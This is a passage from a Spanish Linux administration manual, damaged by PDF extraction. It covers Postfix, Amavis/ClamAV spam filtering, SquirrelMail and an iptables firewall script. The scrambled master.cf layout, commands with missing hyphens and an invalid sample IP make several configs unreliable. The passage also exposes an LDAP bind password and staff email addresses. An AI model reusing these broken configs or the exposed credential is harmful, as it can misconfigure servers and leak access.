useradd postfix
tar xzvf postfix-2.3.3.tar.gz
cd postfix*
make
make install
Presione la tecla Enter en todas las preguntas, a la pregunta de cual es el grupo responda postdrop.
6.0
Dominios virtuales
Es importante que el servidor DNS conozca los dominios virtuales as como los registros de tipo MX para
cada dominio virtual.
El MTA (Mail Transfer Agent) Postfix para enviar correos toma de la direccin el dominio y la busca en el
servidor DNS, por lo tanto el DNS debera contener algo como:
Midominio.com.co.
IN
MX
10 Miservidor.midominio.com.co.
7.0
316
Inserte los dominios virtuales separados por el signo coma , para indicarle al servidor postfix que maneje
dominios virtuales, el servidor de correos se configura en el prrafo What domains to receive mail for,
Whole domain de webmin.
Esto se ver reflejado en el archivo /etc/postfix/main.cf sobre el parmetro mydestination y se ver
as:
mydestination = $myhostname, $mydomain, localhost, localhost.$mydomain, sco.com.co, mvaonline.com,
supprix.com,
tarantella.com.co,
lacositaricamva.com
,
clienteservidor.net,
lacositarica.com,
indepentriskconsulting.com, riskclaims.com
Nota: Es importante que el nombre de la maquina ($myhostname) y el dominio ($mydomain) queden en
esta variable o tendr errores de tipo loops back to myself cuando se envien correos entre usuarios del
mismo dominio
Si se desea que los correos sean enviados por otro servidor entonces se debe utilizar el parmetro
relayhost con el IP del servidor que enviar los correos:
relayhost = 132.148.160.2
Revise para compatibilidad con Microsoft Exchange 2000 que el protocolo RFC821 no sea estricto pues
Microsoft modifica los encabezados.
strict_rfc821_envelopes = no
ANTIRELAY
En postfix por defecto las interfaces de red del servidor linux son las nicas redes que podrn usar el IP del
servidor LINUX como servidor SMTP.
Para que otras redes de la WAN usen su servidor Linux/Postfix como SMTP se debe activar el relay en la
variable de webmin Local networks, por ejemplo la red 132.148.160.0/24 donde 132.148.160.0 nos indica
que cualquier PC de este red puede usar el servidor postfix como SMTP, el /24 indica usar una mascara de
red de 24 bits es decir 255.255.255.0
317
8.0
Trucos de postfix
Para habilitar el envio de correo de grandes tamaos como por ejemplo 20MB se debe configurar el archivo
/etc/postfix/main.cf en la la variable
message_size_limit = 20000000
Para limitar el tamao del buzn o colocar una cuota para todos los usuarios en disco para un mximo de
50MB modifique la siguiente variable:
mailbox_size_limit = 50000000
Cuando se poseen dos servidores de correos en un mismo dominio y en cada servidor hay cuentas
excluyentes los correos que llegan por direccionamiento del DNS a un servidor se perdern por que la cuenta
no existe en ese servidor para evitarlo debe redireccionarse hacia el otro servidor.
El efecto que el usuario ve al enviar correos es que los correos se pierden por que el servidor no posee la
cuenta respectiva.
Habilite en el servidor nodo1 la lnea fallback_transport=nodo2.sudominio.com.co y en el nodo2 la lnea
fallback_transport=nodo1.sudominio.com.co.
Para mandar un e-mail por lnea de comandos con el comando telnet, escriba:
318
# telnet localhost
25
Si postfix emite errores con el servicio encendido lo ms probable es que el archivo/fichero master.cfg este
mal configurado, se anexa una plantilla que funciona:
Archivo de configuracin master.cf:
# Postfix master process configuration file. For details on the format
# of the file, see the Postfix master(5) manual page.
# service type private unpriv chroot wakeup maxproc command + args
#
(yes) (yes) (yes) (never) (100)
smtp
inet n
n
smtpd
#submission inet n
n
smtpd
#
-o smtpd_etrn_restrictions=reject
#
-o smtpd_client_restrictions=permit_sasl_authenticated,reject
#smtps inet n
n
smtpd -o smtpd_tls_wrappermode=yes
# -o smtpd_tls_wrappermode=yes -o smtpd_sasl_auth_enable=yes
#submission inet n
n
smtpd
# -o smtpd_etrn_restrictions=reject
# -o smtpd_enforce_tls=yes -o smtpd_sasl_auth_enable=yes
#628
inet n
n
qmqpd
pickup fifo n
n
60
1
pickup
cleanup unix n
n
0
cleanup
qmgr
fifo n
n
300
1
qmgr
319
#qmgr
fifo n
n
300
1
oqmgr
#tlsmgr unix n
1000? 1
tlsmgr
rewrite unix n
trivial-rewrite
bounce unix n
bounce
defer unix n
0
bounce
flush unix n
n
1000? 0
flush
verify unix n
1
verify
proxymap unix n
proxymap
smtp
unix n
smtp
# When relaying mail as backup MX, disable fallback_relay to avoid MX loops
relay unix n
smtp
-o fallback_relay=
#
-o smtp_helo_timeout=5 -o smtp_connect_timeout=5
showq unix n
n
showq
error unix n
error
discard unix n
discard
local unix n
n
local
virtual unix n
n
virtual
lmtp
unix n
lmtp
anvil unix n
1
anvil
#localhost:10025 inet
n
n
smtpd -o content_filter=
scache unix n
1
scache
tlsmgr unix n
1000? 1
tlsmgr
#tlsmgr unix n
1000? 1
tlsmgr
# Interfaces to non-Postfix software. Be sure to examine the manual
# pages of the non-Postfix software to find out what options it wants.
# Many of the following services use the Postfix pipe(8) delivery
# agent. See the pipe(8) man page for information about ${recipient}
# and other message envelope options.
# maildrop. See the Postfix MAILDROP_README file for details.
# Also specify in main.cf: maildrop_destination_recipient_limit=1
maildrop unix n
n
pipe
flags=DRhu user=vmail argv=/usr/local/bin/maildrop -d ${recipient}
cyrus unix n
n
pipe
user=cyrus argv=/usr/lib/cyrus/bin/deliver -e -r ${sender} -m ${extension} ${user}
uucp
unix n
n
pipe
flags=Fqhu user=uucp argv=uux -r -n -z -a$sender - $nexthop!rmail ($recipient)
ifmail unix n
n
pipe
flags=F user=ftn argv=/usr/lib/ifmail/ifmail -r $nexthop ($recipient)
bsmtp unix n
n
pipe
flags=Fq. user=foo argv=/usr/local/sbin/bsmtp -f $sender $nexthop $recipient
procmail unix n
n
pipe
flags=R user=nobody argv=/usr/bin/procmail -t -m /etc/procmailrc ${sender} ${recipient}
retry unix n
error
proxywrite unix n
1
proxymap
En SUSE la herramienta yast remueve la lnea cleanup haciendo que el servidor no reciba correos, para
solucionarlo se debe agregar al archivo master.cf la lnea correspondiente al cleanup:
NOTA: NO se debe usar YAST para configurar el servicio de correo, esto borrar automticamente la lnea
en el archivo y se presentar nuevamente el problema.
320
Otras opciones:
STAT
valid in the TRANSACTION state
LIST [msg]
RETR msg
DELE msg
NOOP
RSET
APOP name digest
TOP msg n
UIDL [msg]
POP3 Responde:
+OK
-ERR
POP e IMAP: Si el empaquetamiento de LINUX es un SUSE 8.X o REDHAT 8.X o una version anterior,
entonces existir el archivo /etc/inetd.conf, edite el archivo /etc/inetd.conf y quite el signo comentario #
en la lnea que inicie por la palabra pop3 e imap, esto permitir recuperar los mensajes con los clientes
de correos como Outlook o Eudora:
pop3
imap
stream tcp
stream tcp
nowait
nowait
root
root
/usr/sbin/tcpd
/usr/sbin/tcpd
ipop3d
imapd
321
/etc/init.d/xinetd stop
/etc/init.d/xinetd start
Nota: En SUSE 9 al tener mas de un dominio en el DNS con soporte a LDAP es posible que falle el sistema,
mientras SUSE arregla este problema se le recomienda usar en cambio el software IMAP/POP Dovecot:
322
Para la version dovecot 2.x se debe verificar que no exista la version de openssl anterior a la
1.0.0.a pues estas presentan fallas de seguridad
Para borrarla use el comando rpm -e openssl --nodeps
Verifique que exista el paquete pam-devel que incluye las librerias de desarrollo para el modulo de
autenticacion PAM
pam_unix.so
pam_unix.so
323
9.0
Manejo de alias
Los aliases los maneja el archivo /etc/postfix/aliases pero existe una copia por defecto en el archivo
/etc/aliases.
Para actualizar este archivo por la herramienta webmin tome la opcin Mail Aliases.
Podr adicionar los alias en forma manual segn el siguiente formato:
Nombre_de_alias:
usuario1@dominioa,
usuario2@dominiob,
usuarion@dominioc
Por ejemplo por medio de alias se podra redireccionar el correo de una direccin o alias hacia otra o muchas
cuentas y alias, para el caso soporte@mvaonline.com podra reenviarse el correo a las cuentas
acarvaja@mvaonline.com, cmaestre@mvaonline.com, jvallejo@mvaonline.com, la entrada en el archivo
quedara as:
soporte: acarvaja@mvaonline, cmaestre@mvaonline.com,
jvallejo@mvaonline.com
324
Si en tiempo de instalacin de SUSE SLES 9 no se activo LDAP adems deber activar Soporte LDAPen el
servicio de red dns.
10.0
Elija la opcin de Yast mail Server. Se le pedir la clave del servidor LDAP.
A mano izquierda aparece la opcin Mailserver Prevention, elija Amavis.
Edite el
archivo /etc/amavisd.conf
La variable $mydomain debe ser igual al dominio de su compaa
La variable $myhostname debe ser igual al servidor en fqdn
Si la variable $MYHOME no se encuentra habilitada entonces por omisin es /var/amavis
Revise $inet_socket_port = 10024, por este puerto se recibir el correo para ser filtrado
Descomentar las siguientes variables para que el MTA POSTFIX le enve los correos a
Amavis para filtrarlos y amavis a su vez los entregue por el puerto 10025, las variables
son:
$forward_method = 'smtp:[127.0.0.1]:10025'; # where to forward checked mail
$notify_method = $forward_method;
# where to submit notifications
En la seccin de antivirus habilite nicamente los antivirus a trabajar, para este caso se
habilito nicamente Clamav
Para evitar que los virus y los spam lleguen a los usuarios pero una copia este en
cuarentena, se deben activar las siguientes variables:
$final_virus_destiny
= D_DISCARD;
$final_banned_destiny
= D_BOUNCE;
$final_spam_destiny
= D_DISCARD;
$final_bad_header_destiny
= D_PASS;
D_DISCARD har que los correos se descarten pero la opcin D_PASS los dejara pasar
hasta el usuario y asu vez sern marcados.
Para permitir que los virus y los spam estn en cuarentena pero que llegue al usuario un
mensaje de aviso entonces habilite las siguientes variables:
$final_virus_destiny
= D_DISCARD;
$final_banned_destiny
= D_BOUNCE;
$final_spam_destiny
= D_PASS;
$final_bad_header_destiny
= D_PASS;
$warnvirusrecip
$virus_quarantine_to
$spam_quarantine_to
$sa_spam_subject_tag
= 0;
= virus-quarantine;
= spam-quarantine;
= '***SPAM*** ';
325
11.0
Laboratorio:
Prerrequisitos:
Crear los dominios virtuales en el dns
Bajar la ultima versin y ponerla en el directorio /tmp
Cree un usuario por ejemplo col con password sistemas
Abra dos sesiones una para el usuario root y otra para el usuario col
Paso 1: Entre al sistema con el usuario root y pruebe que el dns resuelva el registro MX y la reversa de cada
dominio:
Consulta del registro MX:
# dig MX unincca.edu.co
# dig MX fuac.edu.co
# dig MX uniandes.edu.co
Debera ver algo como cuando se mira el dominio incovex.com.ve:
; <<>> DiG 9.1.3 <<>> mx incovex.com.ve
;; global options: printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 46129
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 1
;; QUESTION SECTION:
;incovex.com.ve.
IN
MX
38400
IN
MX
5 sg33.incovex.com.ve.
;; AUTHORITY SECTION:
incovex.com.ve.
38400
IN
NS
sg33.incovex.com.ve.
;; ADDITIONAL SECTION:
sg33.incovex.com.ve.
38400
IN
192.168.1001.254
;; ANSWER SECTION:
incovex.com.ve.
;;
;;
;;
;;
326
Paso 2: Instale la ltima versin desde los programas fuentes en la carpeta /tmp:
Cree el usuario postfix que no pertenezca al grupo postfix:
#
#
#
#
#
#
#
groupadd
useradd
cd
tar
cd
make
make install
postdrop
postfix
/tmp
xzvf
postfix-*
postfix*
Asegurese de presionar la tecla Enter en todas las preguntas, a la pregunta de Please specify the group
for mail cual es el grupo responda postdrop.
327
Paso 8: Enve un correo desde el usuario root a cualquier usuario de su predileccin para este laboratorio se
creo el usuario col con el comando useradd m col y se le puso password sistemas con el comando passwd
col en los prerrequisitos al principio del laboratorio:
# mail col
Subject: Prueba desde root para col
Esta es una prueba.
Chao. Te escribe este correo tu amigo root
Ctrl. D
Ahora pase a la sesin del usuario col en otra Terminal y verifique que estn saliendo correos.
Otra alternativa es en la misma sesin del usuario root cambiarse a la sesin del usuario col as:
# su col
# mail
Esto deber permitirle leer correos del usuario
Cuestionamientos:
Que pasara si en vez de leer y enviar correos con el comando mail del servidor local lo
hiciramos desde el cliente Outlook en la red local?
Que pasara si en vez de enviar correos con el comando mail del servidor local lo hiciramos
desde otro PC en una red local diferente al segmento del servidor?
Cundo debo mirar los logs del sistema /var/log/mail, /var/log/maillog y /var/log/messages ?
328
12.0
Filtro de contenido
SPAM es el correo electrnico comercial no solicitado, tambin se le denomina Anti-UCE, Postfix puede filtrar
los correos por el encabezado, por el cuerpo del correo o por el nombre del servidor de correos y hasta por
la direccin IP.
El filtro se hace basado en expresiones regulares.
12.1
En la primera lnea del archivo arriba mostrado estamos denegando los correos que en el subject
incluyan la cadena I Love You. Recordemos que esta cadena era un virus que atacaba a Microsoft. Es
importante notar el espacio despus de los dos puntos en la cadena Subject: y antes de la instruccin
REJECT.
La lnea nmero 3 prohbe los correos que vengan de cualquier usuario que tenga como parte de su
nombre la palabra ventas por lo tanto los caracteres .* a la izquierda de ventas permite detectar ese
correo no deseado.
Revise que el dueo del archivo sea el usuario postfix con el comando:
# chown postfix header_checks
Reinicie el servidor postfix con el siguiente comando:
# postfix reload
Pruebe enviando un correo a otro usuario con la cadena I Love You, el filtro revisar en forma automtica
minsculas y maysculas.
12.2
329
REJECT
no
se
permite
adjuntar
12.3
El parmetro smtp_client_restrictions permite filtrar servidores open relays, permite conectarse en lnea a
servidores RBL o real time black hole list para verificar que el correo entrante no provenga de un servidor de
spam:
mail.abuse.org:
sbl.spamhaus.org:
bl.spamcop.net:
Si usted sospecha que su servidor esta en una lista negra por favor revise las siguientes lneas con un
explorador web:
http://cbl.abuseat.org/lookup.cgi
http://www.spamhaus.org/sbl/index.lasso
http://www.us.sorbs.net/lookup.shtml
http://www.dnsstuff.com
http://www.moensted.dk/spam/
http://www.uceprotect.net/en/rblcheck.php
Parmetros de smtp_client_restrictions:
Parmetro
reject_unknown_client
Significado
Rechaza la conexin si el IP no tiene Reversa en el DNS. No se
recomienda activar esta opcin por que la mayora de dominios
no tienen la reversa creada por desconocimiento de redes
permit_mynetworks
reject_rbl_client <domain.tld>
12.4
hash:/etc/postfix/badclients, \
reject_rbl_client sbl.spamhaus.org, \
reject_rbl_client bl.spamcop.net, \
permit_mynetworks
Listas negras
330
En el directorio /var/log/mail encontrar mensajes respecto de cada mail que enva el servidor.
En el directorio /var/spool/mail se encuentran los buzones de los correos que le llegan a cada usuario del
sistema.
Para ms informacin consultar: http://www.postfix.org/uce.html
La opcin Transport Mapping permite asignar a cada dominio un mtodo de entrega de correos.
13.0
domain_in_alias = yes
ldapsource_search_base = ou=SCOoffice Server,dc=my-domain,dc=com
ldapsource_bind = yes
ldapsource_bind_dn = uid=msguser,ou=SCOoffice Server,dc=my-domain,dc=com
ldapsource_bind_pw = YTXUrMw0r2LdaY48p+07rQ
ldapsource_query_filter
=
(&(|(objectclass=msgUser)(objectclass=msgGroup))(|(mail=%s)(|(lacositaricaMsgAlternateAddress=%s)(lac
ositaricaMsgDrop=%s))))
ldapsource_result_attribute
=
lacositaricaMsgDrop,
lacositaricaMsgForwardingAddress,
lacositaricaMsgMgrpRFC822Member, lacositaricaMsgMgrpDeliveryFile, lacositaricaMsgMgrpDeliveryProgram
ldapsource_special_result_attribute = member, lacositaricaMsgMgrpDeliverTo
ldapsource_timeout = 60
ldapsource_scope = sub
Para que los correos del usuario linux root se reenven al usuario LDAP admin haga los siguientes
cambios:
Inserte un signo comentario # al inicio de la variable: fallback_transport=cyrus
Modifique la lnea para que luzca as: mailbox_transport=cyrus
Modifique la lnea: alias_maps=ldap:ldapsource, hash:/etc/postfix/aliases
331
14.0
En este sitio listan todos los sitios en los que su IP esta reportada.
http://www.dnsstuff.com/tools/ip4r.ch?ip=1.2.3.4
Lo ms importante es solucionar los problemas que tenga su servidor de correo, pues con cambiar la IP no
es suficiente ya que si no soluciona los problemas en menos de 24 otra vez estar en las listas negras.
Es importante configurar las cuentas de postmaster y abuse adems que la reversa de su direccin IP
este bien ya que la mayora de listas envan las instrucciones para salir de la lista a postmaster@ip_reverse
y a abuse@ip_reverse.
332
15.0
Laboratorio:
Objetivo:
pam_unix.so
pam_unix.so
333
334
Cuestionamientos:
335
16.0
Laboratorio:
Objetivo:
Servicio POP3/IMAP
Paso 1: Instalacin de PHP
Para obtener la ltima versin de PHP vaya al sitio http://www.php.net, descrguelo en el directorio /tmp,
descomprmalo, entre a la carpeta php y ejecute los siguientes comandos:
#. /configure
--with-apxs2=/usr/local/apache2/bin/apxs
# make
Para instalar los programas ejecutables
# make install
Copie el archivo php.ini-dist hacia el directorio /usr/local/lib/php.ini de su sistema operativo.
Para indicarle al explorador web que hacer cuando el usuario digite alguna pagina con la extensin .php
adicione al archivo /usr/local/apache2/conf/httpd.conf las siguientes lneas:
LoadModule php5_module modules/libphp5.so
Este paso lo hace el instalador de PHP
AddType application/x-httpd-php .php
Este paso debe hacerse manualmente.
nicamente en Linux Fedora cambie los permisos del archivo libphp5.so con el comando:
# chcon -t texrel_shlib_t /usr/local/apache2/modules/libphp5.so
Ahora reinicie Apache con el comando /usr/local/apache2/bin/apachectl restart
sitio
# cd /tmp
# tar -xjvf squirrelmail*
# mv squirrelmail* correo
336
para
buscar
actualizaciones
del
software
es
# mv correo /usr/local/apache2/htdocs
# chown R nobody:nobody /usr/local/apache2/htdocs/correo
# cd /usr/local/apache2/htdocs/correo
Para la versin de apache 2.x en REDHAT:
# mv correo /var/wwwl/html
# chown R nobody:nobody /var/www/html/correo
# cd /var/www/html
# cd /usr/local/apache2/htdocs/correo
# ./configure
En la opcin 1 Organization Preferentes, seleccione organization name y cambie este campo al
nombre de su empresa.
Cambie la opcin 10 por es_ES para idioma espaol y Default Charset iso-8859-1
R para retornar.
Tome la opcin 2: Server Settings
En la opcin 1 cambie este campo por el nombre de su dominio.
R para retornar.
Tome la opcin 8: Plugins
Ahora seleccione todos los plugis.
337
17.0
Laboratorio:
Objetivo:
Baje del sitio www.clamav.net los programas fuentes para la instalacin sobre el sistema operativo
linux/Unix, se recomienda realizar esta tarea en el directorio temporal /tmp
# tar xmzvf clamav-0.80.tar.gz
cd /tmp/clamav-0.80
Paso 2:
# ./configure
Este paso prepara un archivo denominado makefile para compilar los programas
# make
Este paso genera los archivos ejecutables
# make install
Esto instala en el directorio /usr/local/bin
En
el archivo /usr/local/etc/freshclam.conf
Poner comentario en la palabra Example
UpdateLogFile /var/log/freshclam.log
DatabaseMirror database.clamav.net
MaxAttempts 5
Checks 24
Para actualizar los archivos del antivirus digite /usr/local/bin/freshclam
Note que este servidor debe tener acceso a Internet para que este paso funcione
Haga la prueba haciendo scan a un virus de prueba como EICAR.COM
338
Si existe un proxy para acceder a internet configure el archivo freshclam.conf de la siguiente forma:
# clamscan r /directorio
Nota: Para hacer interfaces entre postfix y el antivirus use amavis.
18.0
Nota: Se deben tener como mnimo las versiones que en este manual se indican o de preferencia las ultimas
versiones que se encuentren en Internet.
No instale componentes en forma individual, se deben instalar las ultimas versiones de los programas que la
gua propone en conjunto.
Prerrequisitos
cd /tmp
tar xvzf /tmp/perl-ldap-0.3202.tar.gz
cd perl-ldap*
perl Makefile.PL
make
make test
339
# make # cpan -i
cpan
cpan
cpan
cpan
cpan
cpan
i IO::Compress:Bzip2
-i IO::Zlib
-i IO::String
-i IO::Stringy
-i IO::Socket
-i IO::Socket::SSL
# cpan -i File:Which
# cpan -i Archive::Tar
# cpan -i Archive::Zip
# cpan -i MIME:Body
# cpan -i MIME::Base64
# cpan -i MIME::Parser
# cpan -i Mail::Internet
# cpan -i Convert::TNEF
# cpan -i Convert::UUlib
Direccin de correo a ser usada para enviar reportes sobre problemas con los correos, se recomienda usar el
alias: postmaster@eldominiodesuempresa.com
#
#
#
#
cpan
cpan
cpan
cpan
-i
-i
-i
-i
Net::Server
Net::SMTP
Net::DNS
Net::LDAP
# cpan -i Digest::MD5
# cpan -i Digest::SHA
#
#
#
#
cpan
cpan
cpan
cpan
-i
-i
-i
-i
Time::HiRes
Unix::Syslog
BerkeleyDB
DB_File
# cpan -i HTML::Tagset
# cpan -i HTML::Parser
# cpan -i HTTP::Date
# cpan -i IP::Country
# cpan -i DBI
# cpan -i LWP::UserAgent
# cpan -i Convert::ASN1
# cpan -i Authen::SASL
340
# cpan -i XML::SAX::Base
# cpan -i Mail::SPF::Query
# cpan -i Mail::SpamAssassin
Nota: Los pasos DNS y SpamAssassin son los ms demorados por las bases de datos que se deben
descargar.
Existe otra opcin para bajar los mdulos:
# perl -MCPAN -e shell o conf prerequisites_policy ask (responda a todo yes)
install IO::Zlib
...
O conf commit
groupadd amavis
useradd m d /var/amavis g amavis amavis
Cree los siguientes directorios as:
# mkdir p /var/amavis/tmp
# mkdir p /var/amavis/var
# mkdir p /var/amavis/db
# mkdir p /var/amavis/home
Cambie los permisos para la carpeta /var/amavis
# cp /tmp/amavis-new-2.4.4/amavisd
/usr/local/sbin
cambie permisos al archivo
# cp /tmp/amavis-new-2.4.4/amavisd.conf /etc/amavisd.conf
Cambie permisos de archivo
# mkdir /var/virusmails
La variable $myhostname debe ser igual al nombre del equipo, en formato FQDN.
$MYHOME=/var/amavis
$TEMPBASE=$MYHOME/tmp
$db_home=$MYHOME/db
$QUARANTINEDIR =/var/virusmails
Revise $inet_socket_port = 10024, por este puerto se recibir el correo de postfix para ser
filtrado
Descomentar las siguientes variables para que el MTA POSTFIX le enve los correos a
Amavis para filtrarlos y amavis a su vez los entregue por el puerto 10025, las variables
son:
$forward_method = 'smtp:[127.0.0.1]:10025'
$notify_method = $forward_method;
341
Para evitar que los virus y los spam lleguen a los usuarios pero una copia este en
cuarentena, se deben activar las siguientes variables:
$final_virus_destiny
= D_DISCARD;
$final_banned_destiny
= D_BOUNCE;
$final_spam_destiny
= D_DISCARD;
$final_bad_header_destiny
= D_PASS;
Donde:
D_DISCARD har que los correos se descarten pero la opcin D_PASS los dejara pasar
hasta el usuario y a su vez sern marcados.
Para permitir que los virus y los spam estn en cuarentena pero que llegue al usuario un
mensaje de aviso entonces habilite:
$warnvirusrecip
$virus_quarantine_to
$spam_quarantine_to
= 1;
= virus-quarantine;
= spam-quarantine;
Nota:
Para crear una lista blanca de dominios de confianza que adems acepten spam se deben activar las
siguientes variables:
@whitelist_sender_acl = qw(
.bancodebogota.com.co .bancosuperior.com.co .gasan.com.co .norgas.com.co .confedegas.org.co
.cinsa.com.co .humanos.com.co .asogas.com.co .mvaonline.com.co .gasesdeantioquia.com.co
.colgasdeoccidente.com.co .alcanos.com.co .incovex.com.ve .incovex.com.co .dane.gov.co .orozcopardo.com
.panalpina.com .ccb.org.co
);
Esta exception o lista blanca permite spam pero no permite virus de esos dominios.
No se debe usar la variable @bypass_spam_checks_acl = qw pues el sistema aceptara spam de cualquier
dominio
El servicio Amavis no se inicia automticamente, se debe crear el script de arranque llamando al comando
/usr/local/sbin/amavisd
342
-o strict_rfc821_envelopes=yes
Nota: Debe observarse la columna 7 de la lnea smtp-amavis que es igual a 3, es decir mximo permite 3
procesos para el envo de correos, esta columna del archivo/fichero master.cf debe ser igual a la variable
$max_servers del archivo amavisd.conf, si se desea mayor velocidad de proceso se debe incrementar en 3
en forma sucesiva hasta alcanzar la cantidad de hardware disponible en el sistema.
less
less
less
less
/var/log/mail
/var/log/mail.err
/var/log/mail.info
/var/log/messages
Para desactivar el Antispam y el Antivirus quite el signo comentarios # de las siguientes lneas:
# @bypass_spam_checks_maps = (1);
# @bypass_virus_checks_maps = (1);
Trucos:
El siguiente shell busca un patrn de spam o correo no deseado, por ejemplo capitaltours en
/usr/bin/buscarspam.sh
#!/bin/sh
cd /var/virusmails
for i in `ls`
do
# buscar 1 parametro
grep 'capitaltours' $i
if [ $? -eq 0 ]
then
echo $i
echo $i >> buscarspam.txt
fi
done
if [ -f buscarspam.txt ]
then
vi buscarspam.txt
else
echo "No existen parametros buscados"
fi
343
Captulo 14
Asegurando el perimetro de red
Firewalls
1.0
Firewall o cortafuegos
Un Firewall es un conjunto de limitaciones de acceso para hacer nuestros servidores ms seguros frente al
mundo exterior.
Una lista interesante de sitios web dedicados a firewall podra ser:
http://www.linux-firewall-tools.com/linux
http://www.securityfocus.com
http://www.securityportal.com
http://www.linuxfirewall.com
http://www.firewall.com
http://www.rootshell.com
http://www.freshmeat.net
Netfilter es una tcnica de firewall soportada por linux kernel 2.4.+, este mecanismo reemplazar a
ipchains.
Mucho del cdigo de Netfilter esta en el espacio de usuario y no a nivel de kernel, esto remueve complejidad
e introduce mas flexibilidad a la hora de configurar un servidor de tipo firewall.
El siguiente es el esquema utilizado en Linux:
344
Los paquetes que viajan a travs de la red ingresan por IN y salen por OUT, en el medio se desarrolla el
proceso de Firewall por medio de los filtros de paquetes:
INPUT/ENTRADA: Es el filtro de entrada a todos los paquetes al sistema. Controla que direcciones de red y
puertos lgicos permitir utilizar el servidor.
OUTPUT/SALIDA: Es el filtro de salida a todos los paquetes del sistema. Controla las direcciones de red y
puertos lgicos con los cuales habr de comunicarse el servidor.
FORWARD: En el caso de que el servidor Linux sea utilizado como gateway de nuestra red para ir a otras
redes por ejemplo Internet.
Este filtro controla que direcciones y puertos permitir que el servidor brinde servicios de router, este filtro
esta compuesto por dos subfiltros: PREROUTING y POSTROUTING muy utilizados para hacer NAT.
NAT significa Network Address Traslation y sirve para que usuarios de la LAN tengan acceso a Internet sin
necesidad de un proxy.
Este es el diagrama usado por el fabricante ASTARO que usa IPTABLES como tcnica de firewall
en los nuevos UTM europeos.
345
2.0
La configuracin del servidor Linux como un servidor de Firewall se realiza a travs del comando iptables.
El sitio principal del grupo de trabajo netfilter es http://netfilter.filewatcher.org/
Para poder utilizar este comando debe estar cargado en memoria principal el modulo de ip_tables, para
cargar el soporte a ip_tables se debe ejecutar el comando:
# modprobe ip_tables
Podemos verificar si el modulo ha sido cargado con el comando
# lsmod
El modulo ip_tables y el modulo ipchains son incompatibles entre si, por lo tanto en el caso que el modulo
"ipchains" haya sido cargado previamente, lo podremos eliminar con el comando "rmmod ipchains" y
posteriormente cargar el modulo ip_tables.
3.0
Ejemplo de un comando iptables: como habilitar correo por SMTP solo para la red 192.168.100.0 con
mascara 255.255.255.0.?
#iptables -A external -p tcp -s 192.168.100.0/24 --dport smtp -j ACCEPT
Se supone que el servicio smtp esta definido en /etc/services
Para entenderlo mejor se deben mirar las siguientes tablas:
346
Comandos
-A
-D
-F
-I
-L
-N
-P
-R
-X
4.0
El primer elemento activo de red a proteger es el servidor Linux. Los filtros a utilizar para controlar el acceso
al sistema son los declarados en INPUT y all debemos declarar las interfaces internas ( loopback lo ) y las
listas que controlaran el acceso.
No existe equipo mas seguro que aquel que esta desconectado de la red y apagado, pero dado que en estas
condiciones el equipo no seria utilizable, debemos buscar una forma para que el equipo este prendido y sea
seguro.
5.0
Regla de ORO"
Lo no explcitamente permitido deber ser prohibido, se debe partir negando todos los servicios y en forma
gradual ir definiendo cuales son los servicios que el servidor podr prestar.
Es por ello que se debe ejecutar "iptables -P INPUT DROP" como primera instruccin, de esta forma
inhabilitamos el acceso al sistema. Veamos algunas reglas interesantes:
#!/bin/sh
347
#
# Los modulos estan en /usr/include/linux/netfilter_ipv4
#
modprobe ip_conntrack
modprobe ip_conntrack_ftp
#modprobe ip_conntrack_core
#modprobe ip_conntrack_helper
#modprobe ip_conntrack_icmp
#modprobe ip_conntrack_protocol
#modprobe ip_conntrack_tcp
#modprobe ip_conntrack_tuple
# modprobe varios
#modprobe ip_nat
#modprobe ip_nat_core
#modprobe ip_nat_helper
#modprobe ip_nat_protocol
#modprobe ip_nat_rule
modprobe ip_queue
modprobe ip_tables
modprobe ipt_MARK
modprobe ipt_REJECT
modprobe ipt_TCPMSS
modprobe ipt_TOS
modprobe ipt_tos
modprobe ipt_limit
modprobe ipt_mac
modprobe ipt_mark
modprobe ipt_multiport
modprobe ipt_owner
modprobe ipt_state
modprobe ipt_tcpmss
# modprobe ip_conntrack_irc
modprobe ip_nat_ftp
modprobe ipt_LOG
modprobe ipt_MASQUERADE
# Habilita IP Dinamico cuando tengamos MODEM por DHCP
echo "1" > /proc/sys/net/ipv4/ip_dynaddr
348
iptables
iptables
iptables
iptables
iptables
-F INPUT
-F FORWARD
-F OUTPUT
-F
-X
iptables -t nat -F
iptables -t nat -X
# La politica es: todo es prohibido hasta que se diga lo contrario
iptables -P INPUT
DROP
iptables -P OUTPUT
DROP
iptables -P FORWARD
DROP
# Se permite conectividad a la interface loopback, no es necesario el FORWARD en lo
iptables -A INPUT
-i
lo
-j ACCEPT
iptables -A OUTPUT
-o
lo
-j ACCEPT
# Se debe controlar que los paquetes pertenezcan a alguna sesin, no deben existir paquetes que no
pertenezcan a alguna sesin:
iptables A FORWARD m state --state ESTABLISHED,RELATED j ACCEPT
# *****************************************************
# DNS dentro del firewall = 53
# *****************************************************
iptables -A INPUT -p udp --sport 53
-j ACCEPT
iptables -A INPUT -p udp --dport 53
-j ACCEPT
# *****************************************************
# www dentro del firewall = 80
# *****************************************************
iptables -A INPUT -p tcp --dport 80
-j ACCEPT
# *****************************************************
# Evita el ping de la muerte
# *****************************************************
for type in echo-reply destination-unreachable source-quench time-exceeded parameter-problem; do
iptables -A INPUT --protocol icmp --icmp-type $type -j ACCEPT
done
# ************************************************************
# Permite PING de la muerte para pruebas de conectividad
# ************************************************************
349
# *****************************************************
# SMTP = 25, correo electronico dentro del firewall
# *****************************************************
iptables -A INPUT -p tcp --dport smtp
-j ACCEPT
# **************************************************************
# SMTPS = 465, correo electronico seguro dentro del firewall
# **************************************************************
iptables -A INPUT -p tcp --dport smtps
-j ACCEPT
# *****************************************************
# POP3 = 110, oficina de correos dentro del firewall
# *****************************************************
iptables -A INPUT -p tcp --dport pop3
-j ACCEPT
iptables -A INPUT -p udp --dport pop3
-j ACCEPT
# ************************************************************
# POP3 = 995, oficina de correos segura dentro del firewall
# ************************************************************
iptables -A INPUT -p tcp --dport pop3s
-j ACCEPT
# *****************************************************************
# IMAP = 143, oficina de correos version I y II dentro del firewall
# *****************************************************************
iptables -A INPUT -p tcp --dport imap
-j ACCEPT
# ******************************************************************
# IMAP-3 = 220, oficina de correos version III dentro del firewall
# ******************************************************************
#iptables -A INPUT -p tcp --dport imap3
-j ACCEPT
#iptables -A INPUT -p udp --dport imap3 -j ACCEPT
# ***********************************************************************
# IMAPS = 993, oficina de correos segura version IV dentro del firewall
# ***********************************************************************
iptables -A INPUT -p tcp --dport imaps
-j ACCEPT
# *****************************************************
350
351
6.0
Laboratorio:
Objetivo:
